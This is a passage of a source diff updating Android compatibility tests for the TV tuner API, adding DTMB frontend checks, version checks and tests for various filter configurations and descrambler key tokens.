                 case FrontendSettings.TYPE_ISDBT:
                     testIsdbtFrontendCapabilities(caps);
                     break;
+                case FrontendSettings.TYPE_DTMB:
+                    testDtmbFrontendCapabilities(caps);
+                    break;
                 default:
                     break;
             }
+            infoMap.remove(id);
         }
+        assertTrue(infoMap.isEmpty());
     }
 
     private void testAnalogFrontendCapabilities(FrontendCapabilities caps) throws Exception {
@@ -432,6 +611,8 @@
         assertTrue(caps instanceof DvbcFrontendCapabilities);
         DvbcFrontendCapabilities dvbcCaps = (DvbcFrontendCapabilities) caps;
         dvbcCaps.getModulationCapability();
+        // getFecCapability is deprecated starting Android 12. Use getCodeRateCapability instead.
+        dvbcCaps.getCodeRateCapability();
         dvbcCaps.getFecCapability();
         dvbcCaps.getAnnexCapability();
     }
@@ -481,6 +662,17 @@
         isdbtCaps.getGuardIntervalCapability();
     }
 
+    private void testDtmbFrontendCapabilities(FrontendCapabilities caps) throws Exception {
+        assertTrue(caps instanceof DtmbFrontendCapabilities);
+        DtmbFrontendCapabilities dtmbCaps = (DtmbFrontendCapabilities) caps;
+        dtmbCaps.getTimeInterleaveModeCapability();
+        dtmbCaps.getBandwidthCapability();
+        dtmbCaps.getModulationCapability();
+        dtmbCaps.getCodeRateCapability();
+        dtmbCaps.getTransmissionModeCapability();
+        dtmbCaps.getGuardIntervalCapability();
+    }
+
     private boolean hasTuner() {
         return mContext.getPackageManager().hasSystemFeature("android.hardware.tv.tuner");
     }
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index 5e26e25..62fa719 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -17,53 +17,63 @@
 package android.media.tv.tuner.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-
+import android.content.pm.PackageManager;
 import android.media.tv.tuner.DemuxCapabilities;
 import android.media.tv.tuner.Descrambler;
-import android.media.tv.tuner.LnbCallback;
 import android.media.tv.tuner.Lnb;
+import android.media.tv.tuner.LnbCallback;
 import android.media.tv.tuner.Tuner;
+import android.media.tv.tuner.TunerVersionChecker;
 import android.media.tv.tuner.dvr.DvrPlayback;
 import android.media.tv.tuner.dvr.DvrRecorder;
 import android.media.tv.tuner.dvr.OnPlaybackStatusChangedListener;
 import android.media.tv.tuner.dvr.OnRecordStatusChangedListener;
-
+import android.media.tv.tuner.filter.AlpFilterConfiguration;
 import android.media.tv.tuner.filter.AudioDescriptor;
 import android.media.tv.tuner.filter.AvSettings;
 import android.media.tv.tuner.filter.DownloadEvent;
+import android.media.tv.tuner.filter.DownloadSettings;
+import android.media.tv.tuner.filter.Filter;
 import android.media.tv.tuner.filter.FilterCallback;
 import android.media.tv.tuner.filter.FilterConfiguration;
 import android.media.tv.tuner.filter.FilterEvent;
-import android.media.tv.tuner.filter.Filter;
+import android.media.tv.tuner.filter.IpCidChangeEvent;
+import android.media.tv.tuner.filter.IpFilterConfiguration;
 import android.media.tv.tuner.filter.IpPayloadEvent;
 import android.media.tv.tuner.filter.MediaEvent;
+import android.media.tv.tuner.filter.MmtpFilterConfiguration;
 import android.media.tv.tuner.filter.MmtpRecordEvent;
 import android.media.tv.tuner.filter.PesEvent;
+import android.media.tv.tuner.filter.PesSettings;
+import android.media.tv.tuner.filter.RecordSettings;
+import android.media.tv.tuner.filter.RestartEvent;
+import android.media.tv.tuner.filter.ScramblingStatusEvent;
 import android.media.tv.tuner.filter.SectionEvent;
+import android.media.tv.tuner.filter.SectionSettingsWithSectionBits;
 import android.media.tv.tuner.filter.SectionSettingsWithTableInfo;
 import android.media.tv.tuner.filter.Settings;
-import android.media.tv.tuner.filter.TsFilterConfiguration;
 import android.media.tv.tuner.filter.TemiEvent;
 import android.media.tv.tuner.filter.TimeFilter;
+import android.media.tv.tuner.filter.TlvFilterConfiguration;
+import android.media.tv.tuner.filter.TsFilterConfiguration;
 import android.media.tv.tuner.filter.TsRecordEvent;
-
 import android.media.tv.tuner.frontend.AnalogFrontendCapabilities;
 import android.media.tv.tuner.frontend.AnalogFrontendSettings;
 import android.media.tv.tuner.frontend.Atsc3FrontendCapabilities;
 import android.media.tv.tuner.frontend.Atsc3FrontendSettings;
 import android.media.tv.tuner.frontend.Atsc3PlpInfo;
-import android.media.tv.tuner.frontend.Atsc3PlpSettings;
 import android.media.tv.tuner.frontend.AtscFrontendCapabilities;
 import android.media.tv.tuner.frontend.AtscFrontendSettings;
+import android.media.tv.tuner.frontend.DtmbFrontendCapabilities;
+import android.media.tv.tuner.frontend.DtmbFrontendSettings;
 import android.media.tv.tuner.frontend.DvbcFrontendCapabilities;
 import android.media.tv.tuner.frontend.DvbcFrontendSettings;
-import android.media.tv.tuner.frontend.DvbsCodeRate;
 import android.media.tv.tuner.frontend.DvbsFrontendCapabilities;
 import android.media.tv.tuner.frontend.DvbsFrontendSettings;
 import android.media.tv.tuner.frontend.DvbtFrontendCapabilities;
@@ -71,8 +81,8 @@
 import android.media.tv.tuner.frontend.FrontendCapabilities;
 import android.media.tv.tuner.frontend.FrontendInfo;
 import android.media.tv.tuner.frontend.FrontendSettings;
-import android.media.tv.tuner.frontend.FrontendStatus.Atsc3PlpTuningInfo;
 import android.media.tv.tuner.frontend.FrontendStatus;
+import android.media.tv.tuner.frontend.FrontendStatus.Atsc3PlpTuningInfo;
 import android.media.tv.tuner.frontend.Isdbs3FrontendCapabilities;
 import android.media.tv.tuner.frontend.Isdbs3FrontendSettings;
 import android.media.tv.tuner.frontend.IsdbsFrontendCapabilities;
@@ -86,21 +96,29 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class TunerTest {
     private static final String TAG = "MediaTunerTest";
 
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_TUNER);
+
     private static final int TIMEOUT_MS = 10000;
 
     private Context mContext;
@@ -112,7 +130,6 @@
         mContext = InstrumentationRegistry.getTargetContext();
         InstrumentationRegistry
                 .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        if (!hasTuner()) return;
         mTuner = new Tuner(mContext, null, 100);
     }
 
@@ -126,13 +143,19 @@
 
     @Test
     public void testTunerConstructor() throws Exception {
-        if (!hasTuner()) return;
         assertNotNull(mTuner);
     }
 
     @Test
+    public void testTunerVersion() {
+        assertNotNull(mTuner);
+        int version = TunerVersionChecker.getTunerVersion();
+        assertTrue(version >= TunerVersionChecker.TUNER_VERSION_1_0);
+        assertTrue(version <= TunerVersionChecker.TUNER_VERSION_1_1);
+    }
+
+    @Test
     public void testTuning() throws Exception {
-        if (!hasTuner()) return;
         List<Integer> ids = mTuner.getFrontendIds();
         assertFalse(ids.isEmpty());
 
@@ -146,12 +169,11 @@
 
     @Test
     public void testScanning() throws Exception {
-        if (!hasTuner()) return;
         List<Integer> ids = mTuner.getFrontendIds();
         assertFalse(ids.isEmpty());
         for (int id : ids) {
             FrontendInfo info = mTuner.getFrontendInfoById(id);
-            if (info != null && info.getType() == FrontendSettings.TYPE_ATSC) {
+            if (info != null) {
                 mLockLatch = new CountDownLatch(1);
                 int res = mTuner.scan(
                         createFrontendSettings(info),
@@ -169,100 +191,150 @@
 
     @Test
     public void testFrontendStatus() throws Exception {
-        if (!hasTuner()) return;
         List<Integer> ids = mTuner.getFrontendIds();
         assertFalse(ids.isEmpty());
 
-        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
-        int res = mTuner.tune(createFrontendSettings(info));
-
-        int[] statusCapabilities = info.getStatusCapabilities();
-        assertNotNull(statusCapabilities);
-        FrontendStatus status = mTuner.getFrontendStatus(statusCapabilities);
-        assertNotNull(status);
-
-        for (int i = 0; i < statusCapabilities.length; i++) {
-            switch (statusCapabilities[i]) {
-                case FrontendStatus.FRONTEND_STATUS_TYPE_DEMOD_LOCK:
-                    status.isDemodLocked();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_SNR:
-                    status.getSnr();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_BER:
-                    status.getBer();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_PER:
-                    status.getPer();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_PRE_BER:
-                    status.getPerBer();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_QUALITY:
-                    status.getSignalQuality();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_STRENGTH:
-                    status.getSignalStrength();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_SYMBOL_RATE:
-                    status.getSymbolRate();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_FEC:
-                    status.getInnerFec();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATION:
-                    status.getModulation();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_SPECTRAL:
-                    status.getSpectralInversion();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_LNB_VOLTAGE:
-                    status.getLnbVoltage();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_PLP_ID:
-                    status.getPlpId();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_EWBS:
-                    status.isEwbs();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_AGC:
-                    status.getAgc();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_LNA:
-                    status.isLnaOn();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_LAYER_ERROR:
-                    status.getLayerErrors();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_MER:
-                    status.getMer();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_FREQ_OFFSET:
-                    status.getFreqOffset();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_HIERARCHY:
-                    status.getHierarchy();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_RF_LOCK:
-                    status.isRfLocked();
-                    break;
-                case FrontendStatus.FRONTEND_STATUS_TYPE_ATSC3_PLP_INFO:
-                    Atsc3PlpTuningInfo[] tuningInfos = status.getAtsc3PlpTuningInfo();
-                    if (tuningInfos != null) {
-                        for (Atsc3PlpTuningInfo tuningInfo : tuningInfos) {
-                            tuningInfo.getPlpId();
-                            tuningInfo.isLocked();
-                            tuningInfo.getUec();
-                        }
-                    }
-                    break;
+        for (int id : ids) {
+            if (mTuner == null) {
+                mTuner = new Tuner(mContext, null, 100);
             }
+            FrontendInfo info = mTuner.getFrontendInfoById(id);
+            int res = mTuner.tune(createFrontendSettings(info));
+
+            int[] statusCapabilities = info.getStatusCapabilities();
+            assertNotNull(statusCapabilities);
+            FrontendStatus status = mTuner.getFrontendStatus(statusCapabilities);
+            assertNotNull(status);
+
+            for (int i = 0; i < statusCapabilities.length; i++) {
+                switch (statusCapabilities[i]) {
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_DEMOD_LOCK:
+                        status.isDemodLocked();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_SNR:
+                        status.getSnr();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_BER:
+                        status.getBer();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_PER:
+                        status.getPer();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_PRE_BER:
+                        status.getPerBer();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_QUALITY:
+                        status.getSignalQuality();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_STRENGTH:
+                        status.getSignalStrength();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_SYMBOL_RATE:
+                        status.getSymbolRate();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_FEC:
+                        status.getInnerFec();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATION:
+                        status.getModulation();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_SPECTRAL:
+                        status.getSpectralInversion();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_LNB_VOLTAGE:
+                        status.getLnbVoltage();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_PLP_ID:
+                        status.getPlpId();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_EWBS:
+                        status.isEwbs();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_AGC:
+                        status.getAgc();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_LNA:
+                        status.isLnaOn();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_LAYER_ERROR:
+                        status.getLayerErrors();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_MER:
+                        status.getMer();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_FREQ_OFFSET:
+                        status.getFreqOffset();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_HIERARCHY:
+                        status.getHierarchy();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_RF_LOCK:
+                        status.isRfLocked();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_ATSC3_PLP_INFO:
+                        Atsc3PlpTuningInfo[] tuningInfos = status.getAtsc3PlpTuningInfo();
+                        if (tuningInfos != null) {
+                            for (Atsc3PlpTuningInfo tuningInfo : tuningInfos) {
+                                tuningInfo.getPlpId();
+                                tuningInfo.isLocked();
+                                tuningInfo.getUec();
+                            }
+                        }
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_BERS:
+                        status.getBers();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_CODERATES:
+                        status.getCodeRates();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_BANDWIDTH:
+                        status.getBandwidth();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_GUARD_INTERVAL:
+                        status.getGuardInterval();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_TRANSMISSION_MODE:
+                        status.getTransmissionMode();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_UEC:
+                        status.getUec();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_T2_SYSTEM_ID:
+                        status.getSystemId();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_INTERLEAVINGS:
+                        status.getInterleaving();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_ISDBT_SEGMENTS:
+                        status.getIsdbtSegment();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_TS_DATA_RATES:
+                        status.getTsDataRate();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATIONS_EXT:
+                        status.getExtendedModulations();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_ROLL_OFF:
+                        status.getRollOff();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_IS_MISO_ENABLED:
+                        status.isMisoEnabled();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_IS_LINEAR:
+                        status.isLinear();
+                        break;
+                    case FrontendStatus.FRONTEND_STATUS_TYPE_IS_SHORT_FRAMES_ENABLED:
+                        status.isShortFramesEnabled();
+                        break;
+                }
+            }
+            mTuner.close();
+            mTuner = null;
         }
     }
 
     @Test
     public void testLnb() throws Exception {
-        if (!hasTuner()) return;
         Lnb lnb = mTuner.openLnb(getExecutor(), getLnbCallback());
         if (lnb == null) return;
         assertEquals(lnb.setVoltage(Lnb.VOLTAGE_5V), Tuner.RESULT_SUCCESS);
@@ -275,7 +347,6 @@
 
     @Test
     public void testOpenLnbByname() throws Exception {
-        if (!hasTuner()) return;
         Lnb lnb = mTuner.openLnbByName("default", getExecutor(), getLnbCallback());
         if (lnb != null) {
             lnb.close();
@@ -284,8 +355,7 @@
 
     @Test
     public void testCiCam() throws Exception {
-        if (!hasTuner()) return;
-        // open filter to get demux resource
+    // open filter to get demux resource
         mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
 
@@ -294,14 +364,39 @@
     }
 
     @Test
+    public void testFrontendToCiCam() throws Exception {
+        // tune to get frontend resource
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            // TODO: get real CiCam id from MediaCas
+            res = mTuner.connectFrontendToCiCam(0);
+        } else {
+            assertEquals(Tuner.INVALID_LTS_ID, mTuner.connectFrontendToCiCam(0));
+        }
+
+        if (res != Tuner.INVALID_LTS_ID) {
+            assertEquals(mTuner.disconnectFrontendToCiCam(0), Tuner.RESULT_SUCCESS);
+        } else {
+            // Make sure the connectFrontendToCiCam only fails because the current device
+            // does not support connecting frontend to cicam
+            assertEquals(mTuner.disconnectFrontendToCiCam(0), Tuner.RESULT_UNAVAILABLE);
+        }
+    }
+
+    @Test
     public void testAvSyncId() throws Exception {
-        if (!hasTuner()) return;
-        // open filter to get demux resource
+    // open filter to get demux resource
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
         Settings settings = AvSettings
                 .builder(Filter.TYPE_TS, true)
                 .setPassthrough(false)
+                .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
                 .build();
         FilterConfiguration config = TsFilterConfiguration
                 .builder()
@@ -317,11 +412,15 @@
 
     @Test
     public void testReadFilter() throws Exception {
-        if (!hasTuner()) return;
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
         assertNotNull(f);
         assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertNotEquals(Tuner.INVALID_FILTER_ID_LONG, f.getIdLong());
+        } else {
+            assertEquals(Tuner.INVALID_FILTER_ID_LONG, f.getIdLong());
+        }
 
         Settings settings = SectionSettingsWithTableInfo
                 .builder(Filter.TYPE_TS)
@@ -337,6 +436,8 @@
                 .setSettings(settings)
                 .build();
         f.configure(config);
+        f.setMonitorEventMask(
+                Filter.MONITOR_EVENT_SCRAMBLING_STATUS | Filter.MONITOR_EVENT_IP_CID_CHANGE);
 
         // Tune a frontend before start the filter
         List<Integer> ids = mTuner.getFrontendIds();
@@ -357,8 +458,43 @@
     }
 
     @Test
+    public void testAudioFilterStreamTypeConfig() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        Settings settings = AvSettings
+                .builder(Filter.TYPE_TS, true)
+                .setPassthrough(false)
+                .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
+                .build();
+        FilterConfiguration config = TsFilterConfiguration
+                .builder()
+                .setTpid(10)
+                .setSettings(settings)
+                .build();
+        f.configure(config);
+
+        // Tune a frontend before start the filter
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
+        f.start();
+        f.flush();
+        f.stop();
+        f.close();
+
+        res = mTuner.cancelTuning();
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+    }
+
+    @Test
     public void testTimeFilter() throws Exception {
-        if (!hasTuner()) return;
         if (!mTuner.getDemuxCapabilities().isTimeFilterSupported()) return;
         TimeFilter f = mTuner.openTimeFilter();
         assertNotNull(f);
@@ -370,13 +506,203 @@
     }
 
     @Test
+    public void testIpFilter() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_IP, Filter.SUBTYPE_IP, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        FilterConfiguration config = IpFilterConfiguration
+                .builder()
+                .setSrcIpAddress(new byte[] {(byte) 0xC0, (byte) 0xA8, 0, 1})
+                .setDstIpAddress(new byte[] {(byte) 0xC0, (byte) 0xA8, 3, 4})
+                .setSrcPort(33)
+                .setDstPort(23)
+                .setPassthrough(false)
+                .setSettings(null)
+                .setIpFilterContextId(1)
+                .build();
+        f.configure(config);
+
+        // Tune a frontend before start the filter
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
+        f.start();
+        f.stop();
+        f.close();
+
+        res = mTuner.cancelTuning();
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+    }
+
+    @Test
+    public void testAlpSectionFilterConfig() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_ALP, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        SectionSettingsWithSectionBits settings =
+                SectionSettingsWithSectionBits
+                        .builder(Filter.TYPE_TS)
+                        .setCrcEnabled(true)
+                        .setRepeat(false)
+                        .setRaw(false)
+                        .setFilter(new byte[]{2, 3, 4})
+                        .setMask(new byte[]{7, 6, 5, 4})
+                        .setMode(new byte[]{22, 55, 33})
+                        .build();
+        AlpFilterConfiguration config =
+                AlpFilterConfiguration
+                        .builder()
+                        .setPacketType(AlpFilterConfiguration.PACKET_TYPE_COMPRESSED)
+                        .setLengthType(AlpFilterConfiguration.LENGTH_TYPE_WITH_ADDITIONAL_HEADER)
+                        .setSettings(settings)
+                        .build();
+        f.configure(config);
+        f.start();
+        f.stop();
+        f.close();
+    }
+
+    @Test
+    public void testMmtpPesFilterConfig() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_MMTP, Filter.SUBTYPE_PES, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        PesSettings settings =
+                PesSettings
+                        .builder(Filter.TYPE_TS)
+                        .setStreamId(3)
+                        .setRaw(false)
+                        .build();
+        MmtpFilterConfiguration config =
+                MmtpFilterConfiguration
+                        .builder()
+                        .setMmtpPacketId(3)
+                        .setSettings(settings)
+                        .build();
+        f.configure(config);
+        f.start();
+        f.stop();
+        f.close();
+    }
+
+    @Test
+    public void testMmtpDownloadFilterConfig() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_MMTP, Filter.SUBTYPE_DOWNLOAD,
+                1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        DownloadSettings settings =
+                DownloadSettings
+                        .builder(Filter.TYPE_MMTP)
+                        .setDownloadId(2)
+                        .build();
+        MmtpFilterConfiguration config =
+                MmtpFilterConfiguration
+                        .builder()
+                        .setMmtpPacketId(3)
+                        .setSettings(settings)
+                        .build();
+        f.configure(config);
+        f.start();
+        f.stop();
+        f.close();
+    }
+
+    @Test
+    public void testTsAvFilterConfig() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        AvSettings settings =
+                AvSettings
+                        .builder(Filter.TYPE_TS, true) // is Audio
+                        .setPassthrough(false)
+                        .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
+                        .build();
+        TsFilterConfiguration config =
+                TsFilterConfiguration
+                        .builder()
+                        .setTpid(521)
+                        .setSettings(settings)
+                        .build();
+        f.configure(config);
+        f.start();
+        f.stop();
+        f.close();
+    }
+
+    @Test
+    public void testTsRecordFilterConfig() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_TS, Filter.SUBTYPE_RECORD, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        RecordSettings settings =
+                RecordSettings
+                        .builder(Filter.TYPE_TS)
+                        .setTsIndexMask(
+                                RecordSettings.TS_INDEX_FIRST_PACKET
+                                        | RecordSettings.TS_INDEX_PRIVATE_DATA)
+                        .setScIndexType(RecordSettings.INDEX_TYPE_SC)
+                        .setScIndexMask(RecordSettings.SC_INDEX_B_SLICE)
+                        .build();
+        TsFilterConfiguration config =
+                TsFilterConfiguration
+                        .builder()
+                        .setTpid(521)
+                        .setSettings(settings)
+                        .build();
+        f.configure(config);
+        f.start();
+        f.stop();
+        f.close();
+    }
+
+    @Test
+    public void testTlvTlvFilterConfig() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_TLV, Filter.SUBTYPE_TLV, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        TlvFilterConfiguration config =
+                TlvFilterConfiguration
+                        .builder()
+                        .setPacketType(TlvFilterConfiguration.PACKET_TYPE_IPV4)
+                        .setCompressedIpPacket(true)
+                        .setPassthrough(false)
+                        .setSettings(null)
+                        .build();
+        f.configure(config);
+        f.start();
+        f.stop();
+        f.close();
+    }
+
+    @Test
     public void testDescrambler() throws Exception {
-        if (!hasTuner()) return;
         Descrambler d = mTuner.openDescrambler();
+        byte[] keyToken = new byte[] {1, 3, 2};
         assertNotNull(d);
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
-        d.setKeyToken(new byte[] {1, 3, 2});
+        assertTrue(d.isValidKeyToken(keyToken));
+        d.setKeyToken(keyToken);
         d.addPid(Descrambler.PID_TYPE_T, 1, f);
         d.removePid(Descrambler.PID_TYPE_T, 1, f);
         f.close();
@@ -384,22 +710,30 @@
     }
 
     @Test
+    public void testDescramblerKeyTokenValidator() throws Exception {
+        byte[] invalidToken = new byte[17];
+        byte[] validToken = new byte[] {1, 3, 2};
+        assertTrue(Descrambler.isValidKeyToken(validToken));
+        assertTrue(Descrambler.isValidKeyToken(Tuner.VOID_KEYTOKEN));
+        assertFalse(Descrambler.isValidKeyToken(invalidToken));
+    }
+
+    @Test
     public void testOpenDvrRecorder() throws Exception {
-        if (!hasTuner()) return;
         DvrRecorder d = mTuner.openDvrRecorder(100, getExecutor(), getRecordListener());
         assertNotNull(d);
+        d.close();
     }
 
     @Test
     public void testOpenDvPlayback() throws Exception {
-        if (!hasTuner()) return;
         DvrPlayback d = mTuner.openDvrPlayback(100, getExecutor(), getPlaybackListener());
         assertNotNull(d);
+        d.close();
     }
 
     @Test
     public void testDemuxCapabilities() throws Exception {
-        if (!hasTuner()) return;
         DemuxCapabilities d = mTuner.getDemuxCapabilities();
         assertNotNull(d);
 
@@ -420,33 +754,31 @@
 
     @Test
     public void testResourceLostListener() throws Exception {
-        if (!hasTuner()) return;
         mTuner.setResourceLostListener(getExecutor(), new Tuner.OnResourceLostListener() {
             @Override
-            public void onResourceLost(Tuner tuner) {}
+            public void onResourceLost(Tuner tuner) {
+            }
         });
         mTuner.clearResourceLostListener();
     }
 
     @Test
     public void testOnTuneEventListener() throws Exception {
-        if (!hasTuner()) return;
         mTuner.setOnTuneEventListener(getExecutor(), new OnTuneEventListener() {
             @Override
-            public void onTuneEvent(int tuneEvent) {}
+            public void onTuneEvent(int tuneEvent) {
+            }
         });
         mTuner.clearOnTuneEventListener();
     }
 
     @Test
     public void testUpdateResourcePriority() throws Exception {
-        if (!hasTuner()) return;
         mTuner.updateResourcePriority(100, 20);
     }
 
     @Test
     public void testShareFrontendFromTuner() throws Exception {
-        if (!hasTuner()) return;
         Tuner other = new Tuner(mContext, null, 100);
         List<Integer> ids = other.getFrontendIds();
         assertFalse(ids.isEmpty());
@@ -498,6 +830,12 @@
                         testTemiEvent(filter, (TemiEvent) e);
                     } else if (e instanceof TsRecordEvent) {
                         testTsRecordEvent(filter, (TsRecordEvent) e);
+                    } else if (e instanceof ScramblingStatusEvent) {
+                        testScramblingStatusEvent(filter, (ScramblingStatusEvent) e);
+                    } else if (e instanceof IpCidChangeEvent) {
